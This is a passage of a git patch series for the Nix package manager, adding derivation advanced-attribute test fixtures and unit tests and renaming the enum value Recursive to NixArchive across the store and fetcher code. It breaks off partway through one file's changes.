b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json new file mode 100644 index 000000000..473d006ac --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json @@ -0,0 +1,24 @@ +{ + "args": [ + "-c", + "echo hello > $out" + ], + "builder": "/bin/bash", + "env": { + "__json": "{\"builder\":\"/bin/bash\",\"name\":\"advanced-attributes-structured-attrs-defaults\",\"outputs\":[\"out\",\"dev\"],\"system\":\"my-system\"}", + "dev": "/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev", + "out": "/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults" + }, + "inputDrvs": {}, + "inputSrcs": [], + "name": "advanced-attributes-structured-attrs-defaults", + "outputs": { + "dev": { + "path": "/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev" + }, + "out": { + "path": "/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults" + } + }, + "system": "my-system" +} diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv new file mode 120000 index 000000000..962f8ea3f --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes-structured-attrs.drv \ No newline at end of file diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json new file mode 100644 index 000000000..324428124 --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json @@ -0,0 +1,41 @@ +{ + "args": [ + "-c", + "echo hello > $out" + ], + "builder": "/bin/bash", + "env": { + "__json": "{\"__darwinAllowLocalNetworking\":true,\"__impureHostDeps\":[\"/usr/bin/ditto\"],\"__noChroot\":true,\"__sandboxProfile\":\"sandcastle\",\"allowSubstitutes\":false,\"builder\":\"/bin/bash\",\"impureEnvVars\":[\"UNICORN\"],\"name\":\"advanced-attributes-structured-attrs\",\"outputChecks\":{\"bin\":{\"disallowedReferences\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"],\"disallowedRequisites\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"]},\"dev\":{\"maxClosureSize\":5909,\"maxSize\":789},\"out\":{\"allowedReferences\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"],\"allowedRequisites\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"]}},\"outputs\":[\"out\",\"bin\",\"dev\"],\"preferLocalBuild\":true,\"requiredSystemFeatures\":[\"rainbow\",\"uid-range\"],\"system\":\"my-system\"}", + "bin": "/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin", + "dev": "/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev", + "out": "/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs" + }, + "inputDrvs": { + "/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv": { + "dynamicOutputs": {}, + "outputs": [ + "out" + ] + }, + "/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv": { + "dynamicOutputs": {}, + "outputs": [ + "out" + ] + } + }, + "inputSrcs": [], + "name": "advanced-attributes-structured-attrs", + "outputs": { + "bin": { + "path": "/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin" + }, + "dev": { + "path": "/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev" + }, + "out": { + "path": "/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs" + } + }, + "system": "my-system" +} diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/tests/unit/libstore/data/derivation/advanced-attributes.drv new file mode 120000 index 000000000..2a53a05ca --- /dev/null +++ b/tests/unit/libstore/data/derivation/advanced-attributes.drv @@ -0,0 +1 @@ +../../../../functional/derivation/advanced-attributes.drv \ No newline at end of file diff --git a/tests/unit/libstore/derivation-advanced-attrs.cc b/tests/unit/libstore/derivation-advanced-attrs.cc new file mode 100644 index 000000000..26cf947a8 --- /dev/null +++ b/tests/unit/libstore/derivation-advanced-attrs.cc @@ -0,0 +1,234 @@ +#include +#include +#include + +#include "experimental-features.hh" +#include "derivations.hh" + +#include "tests/libstore.hh" +#include "tests/characterization.hh" +#include "parsed-derivations.hh" +#include "types.hh" + +namespace nix { + +using nlohmann::json; + +class DerivationAdvancedAttrsTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/derivation"; + +public: + Path goldenMaster(std::string_view testStem) const override + { + return unitTestData + "/" + testStem; + } +}; + +#define TEST_ATERM_JSON(STEM, NAME) \ + TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_from_json) \ + { \ + readTest(NAME ".json", [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + /* Use DRV file instead of C++ literal as source of truth. */ \ + auto aterm = readFile(goldenMaster(NAME ".drv")); \ + auto expected = parseDerivation(*store, std::move(aterm), NAME); \ + Derivation got = Derivation::fromJSON(*store, encoded); \ + EXPECT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_to_json) \ + { \ + writeTest( \ + NAME ".json", \ + [&]() -> json { \ + /* Use DRV file instead of C++ literal as source of truth. */ \ + auto aterm = readFile(goldenMaster(NAME ".drv")); \ + return parseDerivation(*store, std::move(aterm), NAME).toJSON(*store); \ + }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ + } \ + \ + TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_from_aterm) \ + { \ + readTest(NAME ".drv", [&](auto encoded) { \ + /* Use JSON file instead of C++ literal as source of truth. */ \ + auto json = json::parse(readFile(goldenMaster(NAME ".json"))); \ + auto expected = Derivation::fromJSON(*store, json); \ + auto got = parseDerivation(*store, std::move(encoded), NAME); \ + EXPECT_EQ(got.toJSON(*store), expected.toJSON(*store)); \ + EXPECT_EQ(got, expected); \ + }); \ + } \ + \ + /* No corresponding write test, because we need to read the drv to write the json file */ + +TEST_ATERM_JSON(advancedAttributes_defaults, "advanced-attributes-defaults"); +TEST_ATERM_JSON(advancedAttributes, "advanced-attributes-defaults"); +TEST_ATERM_JSON(advancedAttributes_structuredAttrs_defaults, "advanced-attributes-structured-attrs"); +TEST_ATERM_JSON(advancedAttributes_structuredAttrs, "advanced-attributes-structured-attrs-defaults"); + +#undef TEST_ATERM_JSON + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_defaults) +{ + readTest("advanced-attributes-defaults.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), ""); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), false); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), false); + EXPECT_EQ(parsedDrv.getStringsAttr("allowedReferences"), std::nullopt); + EXPECT_EQ(parsedDrv.getStringsAttr("allowedRequisites"), std::nullopt); + EXPECT_EQ(parsedDrv.getStringsAttr("disallowedReferences"), std::nullopt); + EXPECT_EQ(parsedDrv.getStringsAttr("disallowedRequisites"), std::nullopt); + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), StringSet()); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), true); + EXPECT_EQ(parsedDrv.useUidRange(), false); + }); +}; + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes) +{ + readTest("advanced-attributes.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + StringSet systemFeatures{"rainbow", "uid-range"}; + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "sandcastle"); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), true); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings{"/usr/bin/ditto"}); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings{"UNICORN"}); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), true); + EXPECT_EQ( + parsedDrv.getStringsAttr("allowedReferences"), Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + EXPECT_EQ( + parsedDrv.getStringsAttr("allowedRequisites"), Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + EXPECT_EQ( + parsedDrv.getStringsAttr("disallowedReferences"), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + EXPECT_EQ( + parsedDrv.getStringsAttr("disallowedRequisites"), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), systemFeatures); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), false); + EXPECT_EQ(parsedDrv.useUidRange(), true); + }); +}; + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_structuredAttrs_defaults) +{ + readTest("advanced-attributes-structured-attrs-defaults.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), ""); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), false); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings()); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), false); + + { + auto structuredAttrs_ = parsedDrv.getStructuredAttrs(); + ASSERT_TRUE(structuredAttrs_); + auto & structuredAttrs = *structuredAttrs_; + + auto outputChecks_ = get(structuredAttrs, "outputChecks"); + ASSERT_FALSE(outputChecks_); + } + + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), StringSet()); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), true); + EXPECT_EQ(parsedDrv.useUidRange(), false); + }); +}; + +TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_structuredAttrs) +{ + readTest("advanced-attributes-structured-attrs.drv", [&](auto encoded) { + auto got = parseDerivation(*store, std::move(encoded), "foo"); + + auto drvPath = writeDerivation(*store, got, NoRepair, true); + + ParsedDerivation parsedDrv(drvPath, got); + + StringSet systemFeatures{"rainbow", "uid-range"}; + + EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "sandcastle"); + EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), true); + EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings{"/usr/bin/ditto"}); + EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings{"UNICORN"}); + EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), true); + + { + auto structuredAttrs_ = parsedDrv.getStructuredAttrs(); + ASSERT_TRUE(structuredAttrs_); + auto & structuredAttrs = *structuredAttrs_; + + auto outputChecks_ = get(structuredAttrs, "outputChecks"); + ASSERT_TRUE(outputChecks_); + auto & outputChecks = *outputChecks_; + + { + auto output_ = get(outputChecks, "out"); + ASSERT_TRUE(output_); + auto & output = *output_; + EXPECT_EQ( + get(output, "allowedReferences")->get(), + Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + EXPECT_EQ( + get(output, "allowedRequisites")->get(), + Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"}); + } + + { + auto output_ = get(outputChecks, "bin"); + ASSERT_TRUE(output_); + auto & output = *output_; + EXPECT_EQ( + get(output, "disallowedReferences")->get(), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + EXPECT_EQ( + get(output, "disallowedRequisites")->get(), + Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"}); + } + + { + auto output_ = get(outputChecks, "dev"); + ASSERT_TRUE(output_); + auto & output = *output_; + EXPECT_EQ(get(output, "maxSize")->get(), 789); + EXPECT_EQ(get(output, "maxClosureSize")->get(), 5909); + } + } + + EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), systemFeatures); + EXPECT_EQ(parsedDrv.canBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.willBuildLocally(*store), false); + EXPECT_EQ(parsedDrv.substitutesAllowed(), false); + EXPECT_EQ(parsedDrv.useUidRange(), true); + }); +}; + +} diff --git a/tests/unit/libutil-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh index c2f686dbf..19ba824ac 100644 --- a/tests/unit/libutil-support/tests/characterization.hh +++ b/tests/unit/libutil-support/tests/characterization.hh @@ -5,6 +5,7 @@ #include "types.hh" #include "environment-variables.hh" +#include "file-system.hh" namespace nix { From 64e599ebe162758a7e077a6c4e319649374307e2 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 16 May 2024 17:46:43 -0400 Subject: [PATCH 0875/1251] Rename `Recursive` -> `NixArchive` For enums: - `FileIngestionMethod` - `FileSerialisationMethod` --- src/libexpr/eval.cc | 2 +- src/libexpr/primops.cc | 10 +++++----- src/libexpr/primops/fetchTree.cc | 2 +- src/libfetchers/fetch-to-store.hh | 2 +- src/libfetchers/fetchers.cc | 2 +- src/libfetchers/mercurial.cc | 2 +- src/libstore/binary-cache-store.cc | 4 ++-- src/libstore/build/worker.cc | 2 +- src/libstore/content-address.cc | 6 +++--- src/libstore/daemon.cc | 12 ++++++------ src/libstore/dummy-store.cc | 4 ++-- src/libstore/legacy-ssh-store.hh | 4 ++-- src/libstore/local-store.cc | 8 ++++---- src/libstore/make-content-addressed.cc | 2 +- src/libstore/optimise-store.cc | 4 ++-- src/libstore/remote-store.cc | 12 ++++++------ src/libstore/remote-store.hh | 4 ++-- src/libstore/store-api.cc | 12 ++++++------ src/libstore/store-api.hh | 10 +++++----- src/libstore/store-dir-config.hh | 2 +- src/libstore/unix/build/local-derivation-goal.cc | 6 +++--- src/libutil/file-content-address.cc | 12 ++++++------ src/libutil/file-content-address.hh | 10 +++++----- src/nix-store/nix-store.cc | 6 +++--- src/nix/add-to-store.cc | 2 +- src/nix/hash.cc | 8 ++++---- src/nix/prefetch.cc | 2 +- src/nix/profile.cc | 2 +- src/perl/lib/Nix/Store.xs | 6 +++--- tests/unit/libstore/common-protocol.cc | 2 +- tests/unit/libstore/content-address.cc | 2 +- tests/unit/libstore/derivation.cc | 6 +++--- tests/unit/libstore/nar-info.cc | 2 +- tests/unit/libstore/path-info.cc | 2 +- tests/unit/libstore/serve-protocol.cc | 4 ++-- tests/unit/libstore/worker-protocol.cc | 4 ++-- tests/unit/libutil/file-content-address.cc | 4 ++-- 37 files changed, 93 insertions(+), 93 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 7aaec2e73..fc211e694 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2303,7 +2303,7 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat path.resolveSymlinks(), settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy, path.baseName(), - FileIngestionMethod::Recursive, + FileIngestionMethod::NixArchive, nullptr, repair); allowPath(dstPath); diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 98649f081..02b970112 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1209,7 +1209,7 @@ static void derivationStrictInternal( auto handleHashMode = [&](const std::string_view s) { if (s == "recursive") { // back compat, new name is "nar" - ingestionMethod = FileIngestionMethod::Recursive; + ingestionMethod = FileIngestionMethod::NixArchive; } else try { ingestionMethod = ContentAddressMethod::parse(s); } catch (UsageError &) { @@ -1432,7 +1432,7 @@ static void derivationStrictInternal( .atPos(v).debugThrow(); auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256); - auto method = ingestionMethod.value_or(FileIngestionMethod::Recursive); + auto method = ingestionMethod.value_or(FileIngestionMethod::NixArchive); for (auto & i : outputs) { drv.env[i] = hashPlaceholder(i); @@ -2391,7 +2391,7 @@ static void prim_filterSource(EvalState & state, const PosIdx pos, Value * * arg "while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'"); state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filterSource"); - addPath(state, pos, path.baseName(), path, args[0], FileIngestionMethod::Recursive, std::nullopt, v, context); + addPath(state, pos, path.baseName(), path, args[0], FileIngestionMethod::NixArchive, std::nullopt, v, context); } static RegisterPrimOp primop_filterSource({ @@ -2454,7 +2454,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value std::optional path; std::string name; Value * filterFun = nullptr; - ContentAddressMethod method = FileIngestionMethod::Recursive; + ContentAddressMethod method = FileIngestionMethod::NixArchive; std::optional expectedHash; NixStringContext context; @@ -2470,7 +2470,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path"); else if (n == "recursive") method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") - ? FileIngestionMethod::Recursive + ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; else if (n == "sha256") expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256); diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index a99a71577..af152f4af 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -468,7 +468,7 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v auto expectedPath = state.store->makeFixedOutputPath( name, FixedOutputInfo { - .method = unpack ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat, + .method = unpack ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat, .hash = *expectedHash, .references = {} }); diff --git a/src/libfetchers/fetch-to-store.hh b/src/libfetchers/fetch-to-store.hh index 81af1e240..95d1e6b01 100644 --- a/src/libfetchers/fetch-to-store.hh +++ b/src/libfetchers/fetch-to-store.hh @@ -18,7 +18,7 @@ StorePath fetchToStore( const SourcePath & path, FetchMode mode, std::string_view name = "source", - ContentAddressMethod method = FileIngestionMethod::Recursive, + ContentAddressMethod method = FileIngestionMethod::NixArchive, PathFilter * filter = nullptr, RepairFlag repair = NoRepair); diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 73923907c..170a8910c 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -305,7 +305,7 @@ StorePath Input::computeStorePath(Store & store) const if (!narHash) throw Error("cannot compute store path for unlocked input '%s'", to_string()); return store.makeFixedOutputPath(getName(), FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = *narHash, .references = {}, }); diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index 7bdf1e937..4b80cbe9b 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -213,7 +213,7 @@ struct MercurialInputScheme : InputScheme auto storePath = store->addToStore( input.getName(), {getFSSourceAccessor(), CanonPath(actualPath)}, - FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {}, + FileIngestionMethod::NixArchive, HashAlgorithm::SHA256, {}, filter); return storePath; diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index 95a8d5a7a..e8c8892b3 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -322,7 +322,7 @@ StorePath BinaryCacheStore::addToStoreFromDump( if (static_cast(dumpMethod) == hashMethod.getFileIngestionMethod()) caHash = hashString(HashAlgorithm::SHA256, dump2.s); switch (dumpMethod) { - case FileSerialisationMethod::Recursive: + case FileSerialisationMethod::NixArchive: // The dump is already NAR in this case, just use it. nar = dump2.s; break; @@ -339,7 +339,7 @@ StorePath BinaryCacheStore::addToStoreFromDump( } else { // Otherwise, we have to do th same hashing as NAR so our single // hash will suffice for both purposes. - if (dumpMethod != FileSerialisationMethod::Recursive || hashAlgo != HashAlgorithm::SHA256) + if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) unsupported("addToStoreFromDump"); } StringSource narDump { nar }; diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index b53dc771a..31cfa8adc 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -530,7 +530,7 @@ bool Worker::pathContentsGood(const StorePath & path) else { auto current = hashPath( {store.getFSAccessor(), CanonPath(store.printStorePath(path))}, - FileIngestionMethod::Recursive, info->narHash.algo).first; + FileIngestionMethod::NixArchive, info->narHash.algo).first; Hash nullHash(HashAlgorithm::SHA256); res = info->narHash == nullHash || info->narHash == current; } diff --git a/src/libstore/content-address.cc b/src/libstore/content-address.cc index 4ed4f2de5..fa06c4aa3 100644 --- a/src/libstore/content-address.cc +++ b/src/libstore/content-address.cc @@ -9,7 +9,7 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m) switch (m) { case FileIngestionMethod::Flat: return ""; - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: return "r:"; case FileIngestionMethod::Git: experimentalFeatureSettings.require(Xp::GitHashing); @@ -52,7 +52,7 @@ std::string_view ContentAddressMethod::renderPrefix() const ContentAddressMethod ContentAddressMethod::parsePrefix(std::string_view & m) { if (splitPrefix(m, "r:")) { - return FileIngestionMethod::Recursive; + return FileIngestionMethod::NixArchive; } else if (splitPrefix(m, "git:")) { experimentalFeatureSettings.require(Xp::GitHashing); @@ -137,7 +137,7 @@ static std::pair parseContentAddressMethodP // Parse method auto method = FileIngestionMethod::Flat; if (splitPrefix(rest, "r:")) - method = FileIngestionMethod::Recursive; + method = FileIngestionMethod::NixArchive; else if (splitPrefix(rest, "git:")) { experimentalFeatureSettings.require(Xp::GitHashing); method = FileIngestionMethod::Git; diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index fe60cb918..788c5e2ea 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -415,12 +415,12 @@ static void performOp(TunnelLogger * logger, ref store, case FileIngestionMethod::Flat: dumpMethod = FileSerialisationMethod::Flat; break; - case FileIngestionMethod::Recursive: - dumpMethod = FileSerialisationMethod::Recursive; + case FileIngestionMethod::NixArchive: + dumpMethod = FileSerialisationMethod::NixArchive; break; case FileIngestionMethod::Git: // Use NAR; Git is not a serialization method - dumpMethod = FileSerialisationMethod::Recursive; + dumpMethod = FileSerialisationMethod::NixArchive; break; default: assert(false); @@ -441,13 +441,13 @@ static void performOp(TunnelLogger * logger, ref store, uint8_t recursive; std::string hashAlgoRaw; from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; - if (recursive > (uint8_t) FileIngestionMethod::Recursive) + if (recursive > (uint8_t) FileIngestionMethod::NixArchive) throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive); method = FileIngestionMethod { recursive }; /* Compatibility hack. */ if (!fixed) { hashAlgoRaw = "sha256"; - method = FileIngestionMethod::Recursive; + method = FileIngestionMethod::NixArchive; } hashAlgo = parseHashAlgo(hashAlgoRaw); } @@ -468,7 +468,7 @@ static void performOp(TunnelLogger * logger, ref store, }); logger->startWork(); auto path = store->addToStoreFromDump( - *dumpSource, baseName, FileSerialisationMethod::Recursive, method, hashAlgo); + *dumpSource, baseName, FileSerialisationMethod::NixArchive, method, hashAlgo); logger->stopWork(); to << store->printStorePath(path); diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc index 0d5d03091..17ebaace6 100644 --- a/src/libstore/dummy-store.cc +++ b/src/libstore/dummy-store.cc @@ -64,8 +64,8 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store virtual StorePath addToStoreFromDump( Source & dump, std::string_view name, - FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive, - ContentAddressMethod hashMethod = FileIngestionMethod::Recursive, + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) override diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index b683ed580..db49188ec 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -76,8 +76,8 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor virtual StorePath addToStoreFromDump( Source & dump, std::string_view name, - FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive, - ContentAddressMethod hashMethod = FileIngestionMethod::Recursive, + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) override diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 676a035fa..07ace70d0 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1155,7 +1155,7 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, auto fim = specified.method.getFileIngestionMethod(); switch (fim) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: { HashModuloSink caSink { specified.hash.algo, @@ -1314,7 +1314,7 @@ StorePath LocalStore::addToStoreFromDump( auto fim = hashMethod.getFileIngestionMethod(); switch (fim) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: restorePath(realPath, dumpSource, (FileSerialisationMethod) fim); break; case FileIngestionMethod::Git: @@ -1330,7 +1330,7 @@ StorePath LocalStore::addToStoreFromDump( /* For computing the nar hash. In recursive SHA-256 mode, this is the same as the store hash, so no need to do it again. */ auto narHash = std::pair { dumpHash, size }; - if (dumpMethod != FileSerialisationMethod::Recursive || hashAlgo != HashAlgorithm::SHA256) { + if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) { HashSink narSink { HashAlgorithm::SHA256 }; dumpPath(realPath, narSink); narHash = narSink.finish(); @@ -1423,7 +1423,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) PosixSourceAccessor accessor; std::string hash = hashPath( PosixSourceAccessor::createAtRoot(link.path()), - FileIngestionMethod::Recursive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false); + FileIngestionMethod::NixArchive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false); if (hash != name.string()) { printError("link '%s' was modified! expected hash '%s', got '%s'", link.path(), name, hash); diff --git a/src/libstore/make-content-addressed.cc b/src/libstore/make-content-addressed.cc index 170fe67b9..a3130d7cc 100644 --- a/src/libstore/make-content-addressed.cc +++ b/src/libstore/make-content-addressed.cc @@ -52,7 +52,7 @@ std::map makeContentAddressed( dstStore, path.name(), FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = narModuloHash, .references = std::move(refs), }, diff --git a/src/libstore/optimise-store.cc b/src/libstore/optimise-store.cc index e9b6d2d50..9d903f218 100644 --- a/src/libstore/optimise-store.cc +++ b/src/libstore/optimise-store.cc @@ -151,7 +151,7 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, Hash hash = ({ hashPath( {make_ref(), CanonPath(path)}, - FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first; + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first; }); debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true)); @@ -165,7 +165,7 @@ void 